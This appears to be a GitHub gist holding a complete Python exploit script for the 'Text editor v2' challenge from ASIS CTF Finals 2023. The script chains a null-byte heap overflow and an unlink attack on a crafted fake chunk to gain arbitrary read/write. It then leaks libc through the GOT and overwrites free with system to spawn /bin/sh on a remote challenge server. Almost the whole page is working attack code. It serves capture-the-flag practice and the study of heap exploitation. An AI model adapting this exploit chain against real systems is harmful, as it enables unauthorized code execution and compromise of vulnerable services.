Skip to content

Instantly share code, notes, and snippets.

@k1R4
Created January 1, 2024 10:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k1R4/e6a789ce2919c81d965a6008eb153a06 to your computer and use it in GitHub Desktop.
Save k1R4/e6a789ce2919c81d965a6008eb153a06 to your computer and use it in GitHub Desktop.
Text editor v2 - ASIS CTF FInals 2023
#!/usr/bin/env python3
from dn3 import *
exe = ELF("chall")
libc = ELF("libc.so.6")
ctx.binary = exe
ctx.terminal = "st".split()
#ctx.log = 0
#ctx.aslr = False
global io
breakpoints = '''
break *0x401a3d
'''+"continue\n"*1
host, port = "91.107.254.175",4000
if len(sys.argv) > 1 and sys.argv[1] == "-r":
io = remote(host,port)
elif len(sys.argv) > 1 and sys.argv[1] == "-ng":
io = process(exe.path)
else:
io = process(exe.path)
io.debug(breakpoints)
pause()
DeathNot3(io, libc=libc)
def typechars(data):
sla("> ", 1)
sa(": ", data)
def backspace(count):
sla("> ", 2)
sla("? ", count)
def newtab(data):
sla("> ", 3)
sa(": ", data)
def select(idx):
sla("> ", 4)
sla(": ", idx)
exe.address = 0x3ff000
tab1_ptr = 0x404108
# Grow tab[0].buffer to size 0x610
# 0x18 -> 0x30 -> 0x60 -> 0xc0 -> 0x180 -> 0x300 -> 0x600
# malloc(0x600) allocates chunk of size 0x610
typechars(flat([
"A"*0x5f8,
0x21
]))
# Occupy 0x310 left behind when growing tab[0]->buffer
# malloc(strlen(buffer)+1) => malloc(0x308)
newtab("B"*0x306+"\n")
# Craft fake chunk of size 0x300 with fd and bk prepared for unlink attack
# Also causes null byte overflow onto 0x610 chunk
# Changes 0x611 -> 0x600 (reduced in size by 0x10 and unsets prev_inuse bit)
backspace(0x307)
typechars(flat([
0, # prevsize
0x301, # size
tab1_ptr-0x18, # fd
tab1_ptr-0x10, # bk
"A"*0x2e0, # filler
0x300 # prevsize of next chunk (0x610)
]))
# Cause tab[1].buffer to get freed and allocated again since size is exceeded
# Leads to 0x600 (previously 0x610) chunk being freed and coalescing with fake 0x300 chunk
# Unlinking of fake 0x300 chunk causes tab[1].buffer to get replaced with .bss address
select(0)
typechars("A"*0x20)
# Decrement curr_size to edit tabs
select(1)
backspace(0x2e8)
# curr_idx gets nulled when backspacing so have to set again
select(1)
backspace(0x4)
# update max_tabs to be able to craft fake tabs for Arbitrary R/W
typechars(p32(0x20))
# Preserve curr_idx
select(1)
typechars(p32(0x1))
# Craft fake tab[3]
typechars(flat([
0, # tab[2].max_size
0, # tab[2].buffer
0, # tab[3].curr_size
0x10, # tab[3].max_size
exe.got.free # tab[3].buffer
]))
select(3)
# Libc leak
reu("buffer: ")
libc.address = libcleak("free")
# Overwrite GOT(free) => system
typechars(p64(libc.symbols.system))
# Change tabs[3].buffer = some rw addr
select(1)
backspace(0x8)
typechars(p64(0x4041f8))
# Write /bin/sh at rw addr
select(3)
typechars("/bin/sh\x00")
# Update tab[3].buffer = start of /bin/sh
select(1)
backspace(0x8)
typechars(p64(0x404200))
# trigger reallocation of tab[3].buffer
# free(tab[3].buffer) => system("/bin/sh")
select(3)
typechars("\x00")
shell()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment